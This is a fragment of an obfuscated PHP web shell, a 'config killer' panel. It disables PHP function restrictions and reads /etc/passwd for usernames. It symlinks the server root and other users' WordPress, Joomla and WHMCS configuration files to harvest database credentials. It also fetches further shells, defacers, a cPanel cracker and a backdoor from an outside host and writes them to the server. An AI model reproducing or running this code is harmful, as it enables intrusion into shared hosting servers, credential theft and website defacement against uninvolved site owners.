\x63olo\x72\x3d\"re\x64\x22></i\x3e\n\x3c/t\x61\x62\x6ce>\n";${"\x47L\x4f\x42\x41L\x53"}["\x73pqktte\x72\x65\x73\x65"]="\x66";${"GLO\x42A\x4c\x53"}["\x69\x66\x74\x70\x61f\x69\x72\x73gm"]="g";${"\x47\x4c\x4fBALS"}["\x64e\x63\x72z\x77"]="\x66il\x65";${"\x47L\x4f\x42\x41\x4c\x53"}["vg\x70\x69nlj\x69\x62\x73\x61"]="\x75s";${"G\x4c\x4fB\x41\x4cS"}["rp\x6d\x7ag\x77"]="\x75s\x73";${"\x47\x4c\x4f\x42A\x4cS"}["\x76\x6e\x79b\x73\x61\x6c"]="\x72\x74";${"\x47L\x4fB\x41\x4c\x53"}["\x63\x65n\x77\x76\x73r\x76\x6b\x6d"]="\x75s\x65\x72";${"\x47\x4c\x4fB\x41\x4cS"}["t\x61h\x6e\x78\x79\x6a"]="c\x6d\x64";${"GLO\x42\x41\x4c\x53"}["\x75\x62h\x78\x69v\x75\x75\x66cy"]="\x63\x6f\x6e\x66\x69\x67u\x72\x61t\x69\x6f\x6e";echo "\n\x3ccente\x72\x3e\n\x3c\x66o\x6et\x20fac\x65=\x22\x56\x65\x72\x64\x61\x6ea\x22 si\x7ae\x3d\"\x31\x22 font \x63\x6f\x6c\x6f\x72=r\x65d\x3e./\x63\x6fnf\x69\x67\x20k\x31\x6cle\x72\x3c/fon\x74\x3e\x3c/c\x65n\x74\x65r\x3e\n<\x62r\x3e\n\x3c\x66\x6fr\x6d\x20\x6d\x65t\x68\x6f\x64\x3dpost><fon\x74 si\x7a\x65\x3d2 \x66\x61c\x65=\x22\x54\x41\x48O\x4dA\x22\x20co\x6cor\x3d\x22\x77h\x69te\"\x3e\x54o G\x65\x6eera\x74e\x20PHP\x2eini \x43\x6ci\x63\x6b \x74\x68e\x20butto\x6e\x20b\x65l\x6fw</f\x6f\x6e\x74>\x3cbr>\n<inpu\x74\x20t\x79\x70\x65=\x73u\x62\x6d\x69\x74\x20\x6e\x61me\x3dini\x20v\x61\x6c\x75e\x3d\"Ge\x6e\x65\x72\x61\x74e \x50\x48\x50\x2e\x69\x6ei\x22 />\x3c/f\x6f\x72m\x3e\n<for\x6d\x20\x6d\x65\x74\x68\x6fd=post\x3e\x3cfont si\x7a\x65\x3d\x32\x20\x66\x61\x63e=\"TAHO\x4d\x41\" \x63ol\x6fr\x3d\"wh\x69te\">\x54o Ch\x65ck \x54\x68\x65\x20\x53\x6d\x79li\x6ek\x20\x44um\x70 C\x6cick\x20the but\x74\x6f\x6e \x62\x65l\x6fw</\x66\x6fn\x74\x3e<br\x3e\n\t<\x69npu\x74\x20type\x3dsubmi\x74\x20n\x61\x6d\x65\x3d\"u\x73r\x65\" va\x6cu\x65\x3d\"\x75\x73e\x20\x74\x6f\x20Ex\x74ra\x63\x74\x20\x75s\x65\x72\x6e\x61m\x65s\x22 /></f\x6f\x72\x6d>\n\t";if(isset($_POST["ini"])){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x6e\x6b\x62\x7a\x6d\x6f\x6d"]="\x72";$fmlowbimo="\x72\x72";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7a\x6ekb\x7a\x6d\x6f\x6d"]}=fopen("p\x68p\x2ein\x69","w");${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x7ab\x7a\x67\x6fl\x6f"]}=" \x64i\x73b\x61le\x5ffu\x6e\x63tio\x6e\x73\x3dnon\x65 ";fwrite(${${"G\x4c\x4f\x42AL\x53"}["\x66\x74\x68\x68\x75\x6f\x67\x72\x7ao\x64"]},${$fmlowbimo});${${"\x47\x4c\x4f\x42\x41\x4cS"}["x\x61\x66\x74\x7a\x6dy"]}="\x3ca hre\x66=p\x68p.ini>\x3cfo\x6e\x74\x20c\x6flo\x72\x3d\x77hi\x74e \x73\x69\x7ae=2 \x66ace=\"TAH\x4fMA\"\x3e<\x75><\x66ont \x63\x6fl\x6fr=\x72\x65d\x3eD\x4fN\x45</font\x3e \x4f\x70\x65n \x74\x68\x69\x73 li\x6ek\x20i\x6e\x20new \x74\x61b\x20t\x6f\x20r\x75\x6e \x50\x48\x50.INI\x3c/u></f\x6fn\x74\x3e\x3c/a\x3e";echo${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x78\x61\x66\x74\x7a\x6d\x79"]};}${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6cj\x62\x71\x79\x70\x6a\x6c\x65\x65"]="\x75\x73e\x72s";echo "\n";if(isset($_POST["\x75\x73\x72e"])){${"\x47LO\x42\x41L\x53"}["\x6d\x69\x72\x6e\x63\x76\x75\x66\x79"]="\x75se\x72";echo "\x3cfo\x72\x6d\x20me\x74hod=p\x6f\x73t\x3e\n\t<\x74\x65xtarea\x20r\x6fws\x3d1\x30 c\x6fl\x73=\x35\x30 na\x6de\x3d\x75\x73\x65r\x3e";${${"\x47\x4cOBA\x4c\x53"}["l\x6a\x62q\x79\x70j\x6ce\x65"]}=file("/\x65\x74\x63/pa\x73s\x77\x64");foreach(${${"G\x4cOB\x41\x4c\x53"}["\x6c\x6a\x62q\x79\x70\x6a\x6cee"]} as${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6dir\x6ec\x76\x75\x66y"]}){$qetgtrlhc="\x73\x74r";${$qetgtrlhc}=explode(":",${${"G\x4cOBA\x4c\x53"}["\x63e\x6e\x77v\x73\x72v\x6b\x6d"]});echo${${"G\x4c\x4fB\x41\x4c\x53"}["i\x6c\x63\x6bv\x67\x65\x61"]}[0]."\n";}echo "\n</\x74\x65xt\x61\x72e\x61><br>\x3c\x62\x72\x3e\n\t\x3c\x69\x6e\x70ut\x20ty\x70\x65\x3ds\x75\x62\x6d\x69\x74\x20nam\x65=\x73\x75 \x76\x61lue\x3d\x22\x43li\x63k\x20\x48\x65r\x65\x20\x54o Star\x74\x22\x20/>\x3c/\x66\x6fr\x6d>\n\t";}echo "\n\t";error_reporting(0);echo"<f\x6f\x6et colo\x72\x3dred\x20\x73i\x7ae\x3d2 f\x61c\x65=\x22\x54\x41H\x4f\x4d\x41\x22\x3e";if(isset($_POST["\x73u"])){${"\x47\x4cO\x42\x41L\x53"}["\x76\x6b\x74b\x79\x76w\x79"]="c\x6f\x6e\x73\x79\x6d";mkdir("pro",0777);${"\x47\x4c\x4f\x42\x41L\x53"}["\x76\x71\x62\x63\x68\x6c\x6as\x70"]="r\x72";${${"GL\x4f\x42AL\x53"}["\x7ab\x7a\x67\x6flo"]}="\x20Op\x74\x69\x6fns a\x6cl\x20\n\x20\x44\x69\x72\x65ct\x6f\x72\x79\x49n\x64e\x78\x20\x53u\x78.h\x74\x6dl \n\x20A\x64\x64\x54yp\x65\x20te\x78t/pl\x61i\x6e .p\x68p \n \x41\x64\x64\x48\x61\x6e\x64\x6cer \x73\x65\x72\x76\x65r-parsed\x20\x2e\x70\x68p \n \x20Add\x54ype t\x65x\x74/\x70\x6cain \x2e\x68tm\x6c\x20\n\x20\x41\x64\x64Handler txt\x20.h\x74m\x6c\x20\n\x20R\x65\x71u\x69re \x4e\x6fne \n \x53\x61\x74i\x73f\x79\x20Any";${${"\x47L\x4f\x42ALS"}["i\x66\x74p\x61\x66\x69r\x73\x67\x6d"]}=fopen("pr\x6f/.ht\x61\x63c\x65\x73s","\x77");fwrite(${${"\x47\x4c\x4f\x42\x41LS"}["if\x74\x70\x61\x66i\x72\x73g\x6d"]},${${"GL\x4f\x42A\x4c\x53"}["vq\x62ch\x6c\x6as\x70"]});${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["u\x62v\x78\x62\x74\x74\x65\x65if"]}=symlink("/","pro/\x72oot");$yjvmilbw="c\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x76ny\x62\x73\x61\x6c"]}="<a\x20h\x72ef\x3dpro/\x72oo\x74><\x66\x6fnt\x20\x63ol\x6fr\x3dwhi\x74\x65 s\x69\x7a\x65\x3d\x33\x20\x66ace\x3d\"TAH\x4fMA\x22> r\x300t</f\x6f\x6e\x74\x3e\x3c/\x61\x3e";echo"\x43\x68\x65ck \x6ci\x6ek\x20giv\x65\x6e\x20\x62elo\x77 \x66or /\x20fold\x65\x72 r\x6f\x6ft\x20\x73y\x6d\x6c\x69\x6ek \x3cbr>\x3c\x75\x3e$rt\x3c/u\x3e";${"G\x4cOBA\x4c\x53"}["\x77r\x78\x61\x67qn\x6bg\x6d"]="\x64\x69\x72";${${"\x47\x4cOB\x41L\x53"}["\x77\x72xag\x71\x6e\x6bg\x6d"]}=mkdir("\x50R\x4f",0777);$wtqrgvsc="us\x72";${${"\x47LO\x42A\x4c\x53"}["\x66th\x68\x75\x6f\x67\x72\x7a\x6fd"]}=" Op\x74\x69\x6f\x6es\x20\x61l\x6c \n \x44ir\x65\x63to\x72\x79\x49\x6e\x64ex\x20\x53ux.h\x74\x6d\x6c \n\x20\x41\x64\x64\x54ype\x20\x74e\x78t/\x70l\x61in \x2ep\x68\x70\x20\n\x20\x41dd\x48an\x64le\x72\x20\x73e\x72v\x65r-p\x61\x72\x73\x65d \x2e\x70h\x70\x20\n \x20A\x64d\x54\x79\x70e\x20\x74\x65x\x74/\x70la\x69\x6e \x2eh\x74ml\x20\n\x20Ad\x64H\x61\x6e\x64\x6ce\x72\x20t\x78t\x20.\x68\x74m\x6c\x20\n\x20R\x65\x71\x75\x69re N\x6f\x6ee\x20\n\x20\x53ati\x73fy \x41n\x79";${${"G\x4c\x4f\x42A\x4cS"}["\x73p\x71k\x74\x74e\x72\x65\x73e"]}=fopen("P\x52\x4f/.htac\x63\x65ss","\x77");fwrite(${${"\x47L\x4f\x42A\x4c\x53"}["s\x70q\x6b\x74\x74er\x65s\x65"]},${${"GLO\x42\x41\x4c\x53"}["f\x74\x68h\x75\x6f\x67\x72\x7a\x6f\x64"]});${${"G\x4cO\x42\x41\x4c\x53"}["vk\x74\x62\x79v\x77y"]}="\x3c\x61 \x68\x72ef=P\x52O/\x3e\x3cfo\x6e\x74 col\x6f\x72\x3dwhite\x20s\x69\x7a\x65=\x33\x20f\x61ce=\x22T\x41HOM\x41\x22\x3eSy\x6d\x6c\x69nk\x3c/\x66\x6fnt\x3e\x3c/a\x3e";echo"\x3c\x62r\x3eCh\x65\x63\x6b t\x68e\x20l\x69\x6ek\x20g\x69\x76\x65\x6e\x20be\x6co\x77\x20f\x6fr\x20/\x20f\x6fl\x64\x65\x72 co\x6e\x66ig\x20\x73yml\x69n\x6b\x20\x3c\x62\x72\x3e\x3c\x75>\x3c\x66\x6f\x6et \x63\x6flo\x72=red si\x7a\x65=2 \x66\x61ce=\"TA\x48O\x4dA\"\x3e$consym</\x66\x6f\x6et\x3e</\x75\x3e";${$wtqrgvsc}=explode("\n",$_POST["\x75\x73\x65\x72"]);${$yjvmilbw}=array("\x77\x70-\x63o\x6efi\x67\x2e\x70h\x70","\x77\x6f\x72d\x70\x72\x65\x73s/\x77\x70-co\x6e\x66\x69g\x2eph\x70","\x63\x6f\x6efi\x67u\x72a\x74ion.php","blog/\x77\x70-c\x6fnfig\x2ep\x68p","\x6ao\x6f\x6dl\x61/c\x6f\x6e\x66igu\x72\x61t\x69o\x6e\x2eph\x70","\x73it\x65/wp-con\x66\x69g\x2ephp","\x73i\x74e/co\x6ef\x69gu\x72ati\x6fn.\x70hp","\x63\x6d\x73/\x63o\x6e\x66ig\x75ra\x74\x69\x6fn\x2e\x70h\x70","v\x62/\x69nc\x6cu\x64\x65s/\x63\x6fnf\x69\x67\x2e\x70hp","\x69n\x63lude\x73/\x63onf\x69g\x2ephp","con\x66\x5fgl\x6fbal.\x70hp","\x69\x6e\x63/c\x6fn\x66ig.php","\x63o\x6e\x66\x69\x67\x2ep\x68\x70","S\x65tt\x69\x6e\x67\x73.p\x68\x70","si\x74e\x73/\x64e\x66a\x75l\x74/set\x74i\x6e\x67s\x2e\x70\x68\x70","\x77\x68\x6d/c\x6fnfi\x67u\x72at\x69\x6fn\x2e\x70\x68p","w\x68m\x63s/\x63o\x6e\x66\x69gu\x72at\x69\x6fn\x2eph\x70","su\x70\x70ort/\x63onf\x69gu\x72a\x74i\x6fn.ph\x70","\x77\x68mc/WH\x4d/\x63\x6f\x6e\x66\x69\x67\x75r\x61\x74\x69on.\x70h\x70","\x77h\x6d/\x57HMC\x53/\x63on\x66\x69\x67\x75\x72\x61ti\x6f\x6e\x2e\x70hp","w\x68\x6d/\x77\x68\x6dcs/\x63\x6fn\x66i\x67\x75\x72\x61ti\x6f\x6e.p\x68p","\x73up\x70or\x74/co\x6e\x66i\x67ura\x74i\x6fn.\x70\x68\x70","c\x6ci\x65nt\x73/\x63o\x6ef\x69\x67ur\x61\x74\x69\x6f\x6e\x2ephp","cli\x65\x6et/\x63\x6f\x6e\x66\x69\x67\x75r\x61\x74\x69\x6fn\x2ephp","\x63lie\x6et\x65s/\x63o\x6efi\x67u\x72\x61t\x69\x6f\x6e\x2e\x70\x68\x70","cl\x69\x65\x6ete/con\x66i\x67u\x72\x61\x74io\x6e.php","cl\x69en\x74suppor\x74/c\x6f\x6e\x66i\x67u\x72a\x74\x69o\x6e\x2e\x70\x68\x70","\x62\x69ll\x69n\x67/con\x66i\x67urati\x6fn\x2e\x70\x68p","a\x64\x6din/c\x6f\x6ef\x69g\x2e\x70hp","a\x64\x6d/confi\x67.\x70\x68\x70","\x63\x6d\x73/\x63\x6f\x6e\x66\x69\x67\x2e\x70h\x70");foreach(${${"\x47\x4c\x4f\x42A\x4c\x53"}["kdr\x67v\x6f\x77\x73"]} as${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x70\x6d\x7a\x67\x77"]}){$llkieinfybyy="\x63";${"\x47\x4c\x4f\x42\x41L\x53"}["\x79q\x74\x6a\x73\x6cm\x76x\x78\x6e\x70"]="u\x73\x73";${${"\x47LO\x42\x41\x4c\x53"}["\x76\x67\x70\x69\x6el\x6ai\x62\x73\x61"]}=trim(${${"\x47L\x4fB\x41\x4cS"}["y\x71\x74j\x73\x6c\x6dv\x78\x78\x6ep"]});foreach(${${"\x47\x4cO\x42\x41\x4cS"}["\x75b\x68\x78\x69\x76\x75\x75\x66\x63y"]} as${$llkieinfybyy}){${"\x47L\x4fB\x41\x4c\x53"}["\x6cs\x6d\x6c\x62\x6c\x70"]="\x72\x73";${"G\x4cO\x42A\x4c\x53"}["\x75h\x61pm\x64\x6e\x79"]="c";$rovrbnw="\x63";${"G\x4c\x4f\x42\x41L\x53"}["\x71e\x78\x74\x65\x74t\x70"]="u\x73";${${"\x47\x4c\x4f\x42\x41LS"}["\x69\x73\x67\x6a\x67\x61w\x77"]}="/h\x6f\x6de/".${${"\x47LO\x42A\x4cS"}["qex\x74\x65\x74\x74p"]}."/p\x75b\x6c\x69\x63\x5fht\x6dl/".${${"\x47\x4c\x4f\x42\x41L\x53"}["\x75\x68a\x70\x6dd\x6e\x79"]};${${"\x47L\x4f\x42A\x4c\x53"}["\x66\x74\x68h\x75og\x72z\x6f\x64"]}="PRO/".${${"\x47\x4c\x4f\x42A\x4c\x53"}["v\x67p\x69n\x6c\x6ai\x62\x73a"]}." \x2e.\x20".${$rovrbnw};symlink(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6c\x73\x6dl\x62l\x70"]},${${"\x47\x4c\x4fB\x41L\x53"}["\x66\x74h\x68\x75o\x67\x72z\x6fd"]});}}}echo "\n<\x68r c\x6f\x6cor=\"\x72\x65d\">\n\x3cp\x20\x61\x6c\x69g\x6e=\"\x63\x65\x6ete\x72\"\x20\x64\x69\x72\x3d\x22l\x74r\"\x3e \n\x3c\x66\x6fn\x74\x20f\x61\x63\x65=\"\x56\x65\x72\x64an\x61\x22 s\x69ze=\x22\x31\x22\x20\x66\x6f\x6e\x74 c\x6f\x6cor\x3d\x72ed\x3e\x2e/tools</fon\x74\x3e</\x63e\x6e\x74\x65\x72\x3e<b\x72>\n<\x66ont\x20\x63olo\x72\x3d\"\x72\x65d\"\x20\x66\x6f\x6e\x74\x20\x73i\x7a\x65\x3d\x33 > //\x20<f\x6f\x6et\x20\x63o\x6co\x72=\"wh\x69te\"\x20fo\x6et siz\x65\x3d3\x20>\n<a \x68ref\x3d\x22?\x61=\x6aic\x22 \x73\x74y\x6c\x65\x3d\"\x74\x65x\x74-de\x63\x6f\x72\x61\x74\x69on:\x20\x6eo\x6ee\">\n\x4aoo\x6dl\x61 \x49\x6e\x64\x65\x78 \x43h\x61\x6e\x67\x65r\x20\x3c/a> <f\x6f\x6e\x74 c\x6f\x6c\x6fr\x3d\"\x77\x68\x69\x74\x65\x22 fo\x6e\x74 \x73ize\x3d\x33 \x3e \x3c\x66ont\x20\x63\x6fl\x6f\x72\x3d\x22\x72\x65d\x22\x20\x66o\x6et \x73iz\x65=3\x20\x3e/\x20</f\x6fn\x74>\x20\n\x3c\x61\x20h\x72e\x66\x3d\x22?a=w\x69c\"\x20\x73\x74\x79\x6ce\x3d\"t\x65x\x74-de\x63orat\x69on: n\x6fn\x65\">\n\x57ordp\x72\x65\x73s\x20\x49n\x64ex\x20Chan\x67e\x72\x20</\x61> <\x66o\x6e\x74\x20c\x6f\x6c\x6f\x72=\"w\x68\x69te\"\x20fo\x6et si\x7ae\x3d\x33\x20> \x3c\x66on\x74\x20\x63o\x6c\x6fr\x3d\x22re\x64\" \x66on\x74\x20size\x3d3 \x3e/ </\x66\x6fnt\x3e \n<\x61 href=\x22?\x61=\x63p\" \x73ty\x6c\x65=\x22te\x78t-\x64\x65\x63o\x72at\x69o\x6e:\x20no\x6e\x65\x22>\nC\x70ane\x6c \x43\x72ac\x6b\x65\x72 </a> \x3c\x66o\x6et \x63olor=\"whi\x74e\" \x66o\x6et\x20s\x69ze\x3d\x33\x20>\x20<\x66\x6f\x6e\x74\x20\x63ol\x6fr\x3d\x22\x72\x65d\"\x20fon\x74\x20s\x69\x7a\x65=\x33\x20\x3e/\x20</\x66ont> \n\x3ca\x20h\x72ef\x3d\x22?\x61\x3d\x73\x71\x6c\" \x73tyl\x65=\"t\x65\x78\x74-d\x65\x63\x6fr\x61\x74io\x6e: \x6eo\x6e\x65\">\nS\x71\x6c Sc\x61n\x6e\x65r </\x61>\x20\x3cfo\x6et\x20c\x6fl\x6f\x72\x3d\x22\x77hi\x74e\"\x20\x66ont\x20si\x7a\x65=\x33 \x3e\x20\x3c\x66o\x6e\x74\x20\x63\x6f\x6c\x6f\x72=\x22r\x65d\x22 f\x6f\x6et\x20s\x69z\x65\x3d3\x20\x3e/ \x3c/fo\x6e\x74\x3e\x20\n\x3c\x61 href=\"?a\x3d\x6ab\x22\x20style=\"\x74\x65\x78t-\x64e\x63or\x61t\x69\x6f\x6e:\x20\x6eon\x65\x22\x3e\n\x4a\x6fom\x6ca\x20\x42ru\x74er\x20\x3c/\x61\x3e <\x66\x6f\x6e\x74\x20\x63\x6fl\x6fr=\"\x77hite\" \x66o\x6e\x74 si\x7a\x65=\x33\x20\x3e\x3c/f\x6f\x6e\x74\x3e\x20\n<fo\x6e\x74\x20\x63\x6fl\x6fr=\x22r\x65d\" fon\x74\x20\x73\x69ze\x3d3\x20> //\x20\x3c/f\x6f\x6e\x74>\x20\n<\x62\x72>\n\x3cf\x6fn\x74 c\x6flor\x3d\x22\x72e\x64\x22\x20\x66o\x6e\x74\x20si\x7a\x65=3\x20\x3e\x20// </fon\x74\x3e \n<a\x20\x68ref=\x22?\x61=b4\x63k\x22\x20\x73\x74y\x6ce=\x22t\x65\x78\x74-d\x65co\x72\x61ti\x6fn: \x6eone\x22\x3e\n\x42a\x63\x6bdoo\x72\x20\x3c/a>\x20\x3cf\x6fn\x74\x20c\x6fl\x6f\x72=\"wh\x69\x74e\" \x66\x6fn\x74 \x73\x69ze\x3d3 > <\x66on\x74\x20c\x6fl\x6f\x72=\x22\x72\x65\x64\"\x20fon\x74\x20s\x69ze\x3d\x33 \x3e/ </f\x6f\x6et\x3e \n<\x61\x20href=\"?\x61=\x6as\x73\" s\x74y\x6ce\x3d\"\x74\x65xt-d\x65co\x72\x61\x74i\x6f\x6e: \x6eon\x65\">\nJ\x6f\x6f\x6dla\x20\x53\x65rver\x20\x53\x63\x61nn\x65\x72 </a>\x20\x3cf\x6f\x6et\x20co\x6co\x72\x3d\x22\x77h\x69\x74e\"\x20\x66\x6fnt\x20\x73i\x7ae=3\x20\x3e \x3c\x66on\x74 col\x6fr\x3d\x22\x72ed\x22 fo\x6et siz\x65\x3d3\x20>/ \x3c/f\x6fnt>\x20\n\x3ca\x20\x68\x72ef=\"?a\x3d\x77s\x73\"\x20\x73tyle\x3d\"\x74ex\x74-de\x63o\x72\x61ti\x6f\x6e:\x20non\x65\x22\x3e\nWo\x72\x64\x70\x72e\x73s\x20S\x65rv\x65\x72 \x53cann\x65r\x20\x3c/a>\x20\x3cf\x6fn\x74\x20\x63ol\x6fr=\"\x77\x68i\x74e\x22 font s\x69ze\x3d3\x20>\x20\x3cfont colo\x72=\"\x72ed\"\x20f\x6f\x6e\x74 \x73iz\x65=\x33\x20>/\x20\x3c/fon\x74\x3e \n\x3c\x61 hr\x65f=\"?\x61\x3d\x61dm\"\x20\x73tyl\x65\x3d\x22t\x65xt-\x64\x65\x63ora\x74io\x6e: no\x6e\x65\x22>\nA\x64\x6d\x69\x6e\x20Fi\x6eder \x3c/\x61\x3e \x3c\x66\x6fnt\x20\x63olor=\x22w\x68ite\" \x66\x6f\x6et\x20\x73\x69\x7ae\x3d\x33 >\x20<font\x20co\x6co\x72\x3d\x22\x72ed\"\x20f\x6f\x6et\x20si\x7a\x65\x3d\x33 >/\x20</\x66\x6f\x6et\x3e \n<\x61 hre\x66=\"?a=\x734s\x22\x20s\x74\x79le\x3d\"\x74\x65\x78t-d\x65\x63\x6fr\x61tio\x6e:\x20\x6eon\x65\">\nS\x68ell\x20\x46ind\x65\x72\x20\x3c/\x61> \x3c\x66\x6f\x6et \x63o\x6cor=\x22wh\x69t\x65\x22\x20f\x6fn\x74\x20s\x69\x7ae\x3d3\x20>\x20<fo\x6e\x74 c\x6f\x6co\x72\x3d\"\x72\x65\x64\"\x20\x66\x6fn\x74 siz\x65\x3d3\x20>/ </fon\x74\x3e\x20\n\x3c/t\x64>\n";if($_GET[a]=="j\x69\x63"){$pwxnnlmyn="\x62";${${"\x47\x4c\x4fBA\x4c\x53"}["de\x63r\x7a\x77"]}=file_get_contents("\x68\x74t\x70://dr\x6f\x70\x64e\x62\x74\x68\x65l\x70.\x63\x6f\x6d/joo\x6d\x6cain\x64\x65\x78\x63\x68an\x67e\x72\x2et\x78\x74");${$pwxnnlmyn}=fopen("\x6a\x69\x63\x2e\x70\x68\x70","\x77");$sluloqvv="b";fwrite(${${"\x47\x4c\x4fB\x41\x4c\x53"}["osp\x64\x69\x79\x72\x71\x72\x79"]},${${"G\x4cO\x42\x41\x4c\x53"}["\x64\x65\x63\x72\x7aw"]});fclose(${$sluloqvv});print"\x3c\x62r\x3e<cen\x74er\x3e\x3c\x68\x33\x3e<\x66ont co\x6c\x6f\x72=\x22\x77hite\">Do\x6e\x65 \x53hel\x6c \x4eam\x65 \x3ca h\x72\x65\x66=\x22\x6a\x69c.\x70\x68p\x22>\x3c\x66o\x6e\x74\x20c\x6f\x6cor=\x72e\x64>jic.p\x68\x70</\x66\x6f\x6e\x74>\x3c/a\x3e\x20</h\x31>\x20";}if($_GET[a]=="wic"){$hqnibx="fi\x6c\x65";$hesobxxnmrt="\x62";${"\x47\x4c\x4fB\x41L\x53"}["\x64g\x69\x62\x78\x76\x74\x75p"]="\x62";${$hqnibx}=file_get_contents("\x68tt\x70://d\x72\x6fp\x64\x65\x62\x74\x68\x65lp\x2eco\x6d/\x77\x6frdpr\x65s\x73\x69\x6e\x64ex\x63hange\x72\x2et\x78\x74");${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x67i\x62xv\x74\x75\x70"]}=fopen("\x77\x69c.ph\x70","w");fwrite(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6f\x73\x70\x64i\x79\x72q\x72y"]},${${"\x47\x4cO\x42AL\x53"}["\x64\x65c\x72\x7a\x77"]});fclose(${$hesobxxnmrt});print"<\x62r\x3e\x3c\x63en\x74e\x72\x3e\x3c\x683>\x3c\x66\x6fn\x74 c\x6fl\x6fr=\"\x77\x68\x69\x74\x65\x22\x3e\x44on\x65\x20\x53h\x65l\x6c\x20\x4e\x61\x6de\x20<\x61 hr\x65f=\x22\x77i\x63.\x70hp\x22>\x3c\x66\x6fnt\x20\x63\x6fl\x6f\x72=r\x65d\x3e\x77\x69c.\x70hp\x3c/f\x6fnt>\x3c/\x61> \x3c/\x681\x3e ";}if($_GET[a]=="c\x70"){$nupprxqjt="\x66\x69\x6ce";${$nupprxqjt}=file_get_contents("h\x74t\x70://\x64r\x6fpde\x62th\x65lp.\x63om/\x63\x70\x62\x74.\x74x\x74");$tqetupm="b";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6f\x73\x70\x64i\x79\x72q\x72\x79"]}=fopen("\x63p.ph\x70","\x77");fwrite(${$tqetupm},${${"\x47\x4c\x4fB\x41L\x53"}["\x64ec\x72\x7aw"]});fclose(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x73\x70\x64\x69y\x72\x71\x72\x79"]});print"\x3cb\x72><c\x65nte\x72><\x683><\x66\x6fnt \x63\x6f\x6co\x72\x3d\x22w\x68\x69te\x22>D\x6f\x6e\x65 \x53hel\x6c\x20Na\x6d\x65 \x3c\x61\x20href\x3d\"\x63\x70\x2e\x70h\x70\x22\x3e\x3cf\x6fn\x74 \x63\x6fl\x6fr\x3dr\x65\x64\x3ecp.ph\x70</\x66\x6fn\x74\x3e\x3c/a\x3e </h\x31\x3e\x20";}if($_GET[a]=="s\x71l"){$abdcxgfiolo="\x62";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["d\x65\x63\x72\x7aw"]}=file_get_contents("\x68t\x74\x70://d\x72opdebth\x65\x6cp\x2e\x63\x6f\x6d/\x73qls\x63\x61n.\x74x\x74");${"\x47\x4c\x4f\x42\x41LS"}["\x6dos\x6a\x73\x73\x71"]="\x62";${"\x47\x4c\x4fBA\x4c\x53"}["\x6e\x69j\x75\x79jv\x63o"]="f\x69le";${$abdcxgfiolo}=fopen("sq\x6csca\x6e.\x70\x68\x70","\x77");fwrite(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x6fs\x6a\x73\x73\x71"]},${${"\x47\x4c\x4f\x42\x41LS"}["nij\x75\x79\x6a\x76\x63\x6f"]});fclose(${${"GL\x4f\x42ALS"}["\x6f\x73\x70d\x69\x79\x72\x71\x72\x79"]});print"\x3cb\x72><\x63e\x6eter\x3e<\x683><f\x6fnt\x20\x63olor\x3d\x22w\x68ite\x22\x3eD\x6fne Shell \x4e\x61m\x65 <a\x20\x68\x72\x65f\x3d\"\x73qlscan.php\x22\x3e<f\x6f\x6e\x74 \x63\x6flo\x72\x3dr\x65d\x3e\x73ql\x73\x63\x61n\x2e\x70\x68\x70\x3c/\x66ont>\x3c/\x61>\x20\x3c/\x681\x3e ";}if($_GET[a]=="\x6ab"){$ntkghaujnht="f\x69\x6c\x65";${"\x47\x4cO\x42\x41\x4cS"}["\x61\x6f\x66\x6a\x6bb"]="\x62";${${"GL\x4fBA\x4c\x53"}["\x64e\x63rz\x77"]}=file_get_contents("\x68\x74\x74p://d\x72\x6f\x70\x64e\x62thelp\x2e\x63o\x6d/j\x6fomla\x62ru\x74\x65\x2etx\x74");${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61\x6f\x66j\x6b\x62"]}=fopen("\x6ab.\x70\x68\x70","w");fwrite(${${"GLO\x42\x41\x4cS"}["\x6f\x73pd\x69\x79\x72\x71\x72y"]},${$ntkghaujnht});fclose(${${"\x47\x4cOBALS"}["\x6f\x73\x70\x64i\x79\x72qr\x79"]});print"\x3cbr\x3e\x3c\x63e\x6e\x74er\x3e<\x68\x33\x3e<\x66on\x74\x20\x63o\x6co\x72\x3d\"white\"\x3e\x44o\x6ee\x20\x53h\x65ll Name \x3c\x61 \x68r\x65f\x3d\x22jb.\x70\x68p\">\x3c\x66ont\x20co\x6c\x6fr=red\x3e\x6ab\x2e\x70h\x70\x3c/\x66o\x6e\x74\x3e</a\x3e \x3c/\x681> ";}if($_GET[a]=="b4ck"){$kejemadbmzr="\x62";${"G\x4cO\x42AL\x53"}["\x6cr\x69\x6dw\x6e\x79\x65bs\x62"]="b";${${"\x47\x4cOB\x41LS"}["\x64\x65\x63\x72z\x77"]}=file_get_contents("h\x74tp://\x64\x72op\x64eb\x74h\x65l\x70.co\x6d/b4ck.tx\x74");${$kejemadbmzr}=fopen("\x624\x63\x6b.\x70\x68\x70","\x77");fwrite(${${"\x47\x4c\x4fB\x41\x4cS"}["\x6fs\x70\x64i\x79\x72\x71\x72y"]},${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x65\x63rz\x77"]});fclose(${${"\x47\x4c\x4fB\x41\x4cS"}["\x6c\x72i\x6dw\x6e\x79\x65bs\x62"]});print"\x3c\x62r><c\x65\x6e\x74\x65\x72\x3e<h\x33\x3e<f\x6fnt co\x6cor\x3d\x22w\x68i\x74\x65\x22\x3eD\x6f\x6e\x65\x20S\x68\x65\x6cl N\x61\x6de\x20\x3ca\x20h\x72e\x66\x3d\"\x62\x34ck\x2e\x70\x68p\x22><fo\x6e\x74\x20c\x6fl\x6fr=\x72\x65d\x3e\x624c\x6b\x2e\x70hp\x3c/\x66on\x74></a\x3e\x20\x3c/\x68\x31\x3e 